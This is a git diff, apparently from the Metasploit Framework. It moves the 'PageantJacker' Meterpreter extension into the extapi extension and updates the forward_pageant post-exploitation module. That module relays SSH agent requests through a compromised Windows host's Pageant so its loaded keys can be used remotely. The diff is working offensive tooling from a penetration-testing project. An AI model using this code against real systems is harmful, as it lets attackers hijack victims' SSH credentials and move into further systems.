diff --git a/lib/rex/post/meterpreter/extensions/extapi/extapi.rb b/lib/rex/post/meterpreter/extensions/extapi/extapi.rb index ecc0852d9a..900087ea6d 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/extapi.rb @@ -6,6 +6,7 @@ require 'rex/post/meterpreter/extensions/extapi/service/service' require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard' require 'rex/post/meterpreter/extensions/extapi/adsi/adsi' require 'rex/post/meterpreter/extensions/extapi/ntds/ntds' +require 'rex/post/meterpreter/extensions/extapi/pageant/pageant' require 'rex/post/meterpreter/extensions/extapi/wmi/wmi' module Rex @@ -36,6 +37,7 @@ class Extapi < Extension 'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client), 'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client), 'ntds' => Rex::Post::Meterpreter::Extensions::Extapi::Ntds::Ntds.new(client), + 'pageant' => Rex::Post::Meterpreter::Extensions::Extapi::Pageant::Pageant.new(client), 'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client) }) }, diff --git a/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb b/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb new file mode 100644 index 0000000000..dda54561ca --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb @@ -0,0 +1,44 @@ +# -*- coding: binary -*- + +module Rex + module Post + module Meterpreter + module Extensions + module Extapi + module Pageant + ### + # PageantJacker extension - Hijack and interact with Pageant + # + # Stuart Morgan + # + ### + class Pageant + def initialize(client) + @client = client + end + + def forward(blob, size) + return nil unless size > 0 && blob.size > 0 + + packet_request = Packet.create_request('extapi_pageant_send_query') + packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN, size) + packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN, blob) + + response = client.send_request(packet_request) + return nil unless response + + { + success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_STATUS), + blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB), + error: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE) + } + end + + attr_accessor :client + end + end + end + end + end + end +end diff --git a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb index 99a7cf3a85..2abce50ccd 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb @@ -75,6 +75,12 @@ TLV_TYPE_EXT_ADSI_DN = TLV_META_TYPE_GROUP | (TLV_TYPE_E TLV_TYPE_NTDS_TEST = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 80) TLV_TYPE_NTDS_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 81) +TLV_TYPE_EXTENSION_PAGEANT_STATUS = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 85) +TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 86) +TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 87) +TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 88) +TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 89) + TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90) TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91) TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92) diff --git a/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb b/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb deleted file mode 100644 index d98abc8fd8..0000000000 --- a/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb +++ /dev/null @@ -1,56 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/post/meterpreter/extensions/pageantjacker/tlv' - -module Rex -module Post -module Meterpreter -module Extensions -module Pageantjacker - -### -# -# PageantJacker extension - Hijack and interact with Pageant -# -# Stuart Morgan -# -### - -class Pageantjacker < Extension - - def initialize(client) - super(client, 'pageantjacker') - - client.register_extension_aliases( - [ - { - 'name' => 'pageantjacker', - 'ext' => self - }, - ]) - end - - def forward_to_pageant(blob,size) - return unless size > 0 - return unless blob.size > 0 - - packet_request = Packet.create_request('pageant_send_query') - packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN, size) - packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN, blob) - - response = client.send_request(packet_request) - return nil if !response - - pageant_plugin_response = { - success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS), - blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB), - error: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE) - } - - return pageant_plugin_response - end - -end - -end; end; end; end; end - diff --git a/lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb b/lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb deleted file mode 100644 index 56798875d9..0000000000 --- a/lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb +++ /dev/null @@ -1,18 +0,0 @@ -# -*- coding: binary -*- -module Rex -module Post -module Meterpreter -module Extensions -module Pageantjacker - -TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 1) -TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2) -TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 3) -TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 4) -TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 5) - -end -end -end -end -end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb deleted file mode 100644 index 598fea8154..0000000000 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb +++ /dev/null @@ -1,60 +0,0 @@ -# -*- coding: binary -*- -require 'rex/post/meterpreter' - -module Rex -module Post -module Meterpreter -module Ui - -### -# -# PageantJacker extension -# -### -class Console::CommandDispatcher::PageantJacker - - Klass = Console::CommandDispatcher::PageantJacker - - include Console::CommandDispatcher - - def initialize(shell) - super - print_line - print_line - print_line(" .mMMMMMm. mMMm M WWW W W RRRRR") - print_line(" mMMMMMMMMMMM. MM MM W W W R R") - print_line(" /MMMM- -MM. MM MM W W W R R") - print_line(" /MMM. _ \/ ^ M M M M W W W W RRRR") - print_line(" |M. aRRr /W| M M M M W W W W R R") - print_line(" \/ .. ^^^ wWWW| M M M W W R R") - print_line(" /WW\. .wWWWW/ M M M W W R R") - print_line(" |WWWWWWWWWWW/") - print_line(" .WWWWWW. PageantJacker Extension") - print_line(" stuart.morgan@mwrinfosecurity.com") - print_line - print_line(" Use post/windows/manage/forward_pageant to proxy through Pageant") - print_line - end - - # - # List of supported commands. - # - def commands - { - # No commands here, bceause everything is done from the POST module - } - end - - # - # Name for this dispatcher - # - def name - "PageantJacker" - end -end - -end -end -end -end - diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index 70b410f52c..d8dbf4ee18 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -38,6 +38,19 @@ class Metasploit3 < Msf::Post ], self.class) end + def setup + unless session.extapi + vprint_status("Loading extapi extension...") + begin + session.core.use("extapi") + rescue Errno::ENOENT + print_error("This module is only available in a windows meterpreter session.") + return + end + end + end + + def run # Check to ensure that UNIX sockets are supported begin @@ -47,18 +60,6 @@ class Metasploit3 < Msf::Post return false end - # Attempt to load the pageantjacker extension if it isn't already loaded. - unless session.pageantjacker - print_status("Loading PageantJacker extension on session #{session.sid} (#{session.session_host})") - session.core.use("pageantjacker") - end - - # Fail if it cannot be loaded - unless session.pageantjacker - print_error("Failed to load PageantJacker on session #{session.sid} (#{session.session_host})") - return false - end - # Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one) if datastore['SocketPath'] @sockpath = datastore['SocketPath'].to_s @@ -84,7 +85,7 @@ class Metasploit3 < Msf::Post socket_request_data = s.recvfrom(8192) # 8192 = AGENT_MAX break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty? vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})") - response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size) + response = session.extapi.pageant.forward(socket_request_data.first, socket_request_data.first.size) if response[:success] begin s.send response[:blob], 0